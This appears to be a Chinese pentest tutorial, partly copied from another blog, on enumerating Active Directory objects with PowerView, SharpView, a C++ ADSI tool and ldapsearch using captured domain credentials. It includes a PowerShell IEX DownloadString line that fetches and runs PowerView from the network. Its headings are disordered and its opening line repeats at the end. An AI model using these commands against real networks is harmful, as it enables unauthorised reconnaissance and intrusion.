本文将要以获取活动目录中所有用户、所有计算机和所有组为例,介绍常用的信息获取方法
这次环境中我们得到了
[email protected] pass:pass!@#4
zhong.czf域内的普通用户 和密码
也获取到了pp.zhong.czf/ppo p:pass!@#4
子域的一个用户和密码
0x01 简介 本文将要介绍以下内容: 域外获取活动目录信息的方法 域内获取活动目录信息的方法 使用C++调用ADSI接口获取信息的方法
0x02 基础知识
域环境使用directory database(目录数据库)来存储用户、计算机账户和组等对象
使用LDAP(Lightweight Directory Access Protocol)(轻量目录访问协议)来查询和更新目录数据库
常用缩写词
- DN:Distinguished Name
- CN:Common Name
- OU:Organizational Unit
- DC:Domain Controller
其中DN有三个属性,分别是CN、OU和DC
简单理解:
域控制器默认会开启端口389,用作LDAP服务
0x01windows通过powerview进行数据查询
当然我们得先看看这个参数
0x01远程加载 powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Get-NetComputer -FullData powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Get-NetUser powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Get-NetSubnet
0x02本地加载 PS C:\> import-module .\powerview.ps1 PS C:\> Get-NetDomain 获取当前的域名称 Get-Netuser 返回所有域内成员的详细信息 Get-NetDomainController 获取所有的域内的控制器信息 Get-NetComputer 获取所有域内机器的名称 Get-Netshare 获取域内的所有的网络共享 Get-NetRDPSESSION 获取指定服务的远程连接信息 Get-ADOPJECT 获取活动目录的信息
0X02使用C#实现
参照SharpView,地址:
https://github.com/tevora-threat/SharpView
:\>SharpView.exe Get-DomainController -Domain test.local -Server dc.test.local -Credential [email protected]/password C:\>SharpView.exe Get-DomainController -Help Get-DomainController -Domain <String> -Server <String> -DomainController <String> -LDAP <Boolean> -Credential <NetworkCredential> Available methods Get-DomainGPOUserLocalGroupMapping Find-GPOLocation Get-DomainGPOComputerLocalGroupMapping Find-GPOComputerAdmin Get-DomainObjectAcl Get-ObjectAcl Add-DomainObjectAcl Add-ObjectAcl Remove-DomainObjectAcl Get-RegLoggedOn Get-LoggedOnLocal Get-NetRDPSession Test-AdminAccess Invoke-CheckLocalAdminAccess Get-WMIProcess Get-NetProcess Get-WMIRegProxy Get-Proxy Get-WMIRegLastLoggedOn Get-LastLoggedOn Get-WMIRegCachedRDPConnection Get-CachedRDPConnection Get-WMIRegMountedDrive Get-RegistryMountedDrive Find-InterestingDomainAcl Invoke-ACLScanner Get-NetShare Get-NetLoggedon Get-NetLocalGroup Get-NetLocalGroupMember Get-NetSession Get-PathAcl ConvertFrom-UACValue Get-PrincipalContext New-DomainGroup New-DomainUser Add-DomainGroupMember Set-DomainUserPassword Invoke-Kerberoast Export-PowerViewCSV Find-LocalAdminAccess Find-DomainLocalGroupMember Find-DomainShare Find-DomainUserEvent Find-DomainProcess Find-DomainUserLocation Find-InterestingFile Find-InterestingDomainShareFile Find-DomainObjectPropertyOutlier TestMethod Get-Domain Get-NetDomain Get-DomainComputer Get-NetComputer Get-DomainController Get-NetDomainController Get-DomainFileServer Get-NetFileServer Convert-ADName Get-DomainObject Get-ADObject Get-DomainUser Get-NetUser Get-DomainGroup Get-NetGroup Get-DomainDFSShare Get-DFSshare Get-DomainDNSRecord Get-DNSRecord Get-DomainDNSZone Get-DNSZone Get-DomainForeignGroupMember Find-ForeignGroup Get-DomainForeignUser Find-ForeignUser ConvertFrom-SID Convert-SidToName Get-DomainGroupMember Get-NetGroupMember Get-DomainManagedSecurityGroup Find-ManagedSecurityGroups Get-DomainOU Get-NetOU Get-DomainSID Get-Forest Get-NetForest Get-ForestTrust Get-NetForestTrust Get-DomainTrust Get-NetDomainTrust Get-ForestDomain Get-NetForestDomain Get-DomainSite Get-NetSite Get-DomainSubnet Get-NetSubnet Get-DomainTrustMapping Invoke-MapDomainTrust Get-ForestGlobalCatalog Get-NetForestCatalog Get-DomainUserEvent Get-UserEvent Get-DomainGUIDMap Get-GUIDMap Resolve-IPAddress Get-IPAddress ConvertTo-SID Invoke-UserImpersonation Invoke-RevertToSelf Get-DomainSPNTicket Request-SPNTicket Get-NetComputerSiteName Get-SiteName Get-DomainGPO Get-NetGPO Set-DomainObject Set-ADObject Add-RemoteConnection Remove-RemoteConnection Get-IniContent Get-GptTmpl Get-GroupsXML Get-DomainPolicyData Get-DomainPolicy Get-DomainGPOLocalGroup Get-NetGPOGroup
3.使用C++实现
参考地址:
https://github.com/microsoft/Windows-classic-samples/tree/master/Samples/Win7Samples/netds/adsi/activedir/QueryUsers/vc
https://github.com/outflanknl/Recon-AD
微软的代码是exe的格式,只介绍了QueryUser的方法,但支持查询条件(筛选指定用户)和显示简要信息(只输出名称,便于统计)
Recon-AD的代码是dll的格式,包含多个功能,但默认只显示详细信息
于是我将两者的代码融合,代码支持以下功能:
- exe的格式
- 包含多个功能,支持查询用户、计算机和组等
- 支持查询条件和显示简要信息
代码已上传至github,地址如下:
https://github.com/3gstudent/Homework-of-C-Language/blob/master/QueryADObject.cpp
代码可指定ADS path和搜索条件,用法如下:
(1)查询域用户
列出所有域用户,只显示简要的名称信息,命令如下:
QueryADObject.exe Current "(&(objectClass=user)(objectCategory=person))" ShortData
结果输出如下图
查询指定用户的所有信息,命令如下:
QueryADObject.exe Current "(&(objectClass=user)(objectCategory=person)(name=testa))" AllData
结果输出如下图
(2)查询计算机
列出所有计算机账户,只显示简要的名称信息,命令如下:
QueryADObject.exe Current "(&(objectCategory=computer)(objectClass=computer))" ShortData
结果输出如下图
查询域控制器的详细信息,需要知道ADS path为"OU=Domain Controllers,DC=test,DC=com"
,命令如下:
QueryADObject.exe "OU=Domain Controllers,DC=test,DC=com" "(&(objectCategory=computer)(objectClass=computer))" AllData
结果输出如下图
(3)查询组
列出所有组,只显示简要的名称信息,命令如下:
QueryADObject.exe Current "(&(objectCategory=group))" ShortData
列出管理员组的详细信息,命令如下:
QueryADObject.exe Current "(&(objectCategory=group)(name=Domain Admins))" Alldata
结果输出如下图
(4)查询OU
列出所有OU,只显示简要的名称信息,命令如下:
QueryADObject.exe Current "(&(objectCategory=organizationalUnit))" ShortData
结果输出如下图
原文链接 https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E6%B4%BB%E5%8A%A8%E7%9B%AE%E5%BD%95%E4%BF%A1%E6%81%AF%E7%9A%84%E8%8E%B7%E5%8F%96/
0x03 域外获取活动目录信息的方法
1.Kali系统通过ldapsearch进行数据查询
测试环境如下图
前提:我们能够访问到域控制器(DC)的389端口,并且我们至少已经获得了域内一个普通用户的口令
这个测试环境中,我们获得了域内普通用户testa
的口令为DomainUser123!
连接命令如下:
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com"
参数说明:
- -x 进行简单认证
- -H 服务器地址
- -D 用来绑定服务器的DN
- -w 绑定DN的密码
- -b 指定要查询的根节点
这条命令会显示所能查询到的所有信息,如下图
接下来加入搜索条件,对结果进行分类
(1)查询所有域用户
加入搜索条件:"(&(objectClass=user)(objectCategory=person))"
完整命令如下:
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectClass=user)(objectCategory=person))"
这条命令会输出所有域用户的所有属性,如下图
为了便于统计名称,可以选择只列出CN(Common Name),并且使用grep
命令对输出进行过滤
命令如下:
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectClass=user)(objectCategory=person))" CN | grep cn
结果输出如下图
(2)查询所有计算机
加入搜索条件:"(&(objectCategory=computer)(objectClass=computer))"
命令如下:
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectCategory=computer)(objectClass=computer))" CN | grep cn
结果输出如下图
(3)查询所有组
加入搜索条件:"(&(objectCategory=group))"
命令如下:
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectCategory=group))" CN | grep cn
结果输出如下图
2.Windows系统通过PowerView进行数据查询
本文将要以获取活动目录中所有用户、所有计算机和所有组为例,介绍常用的信息获取方法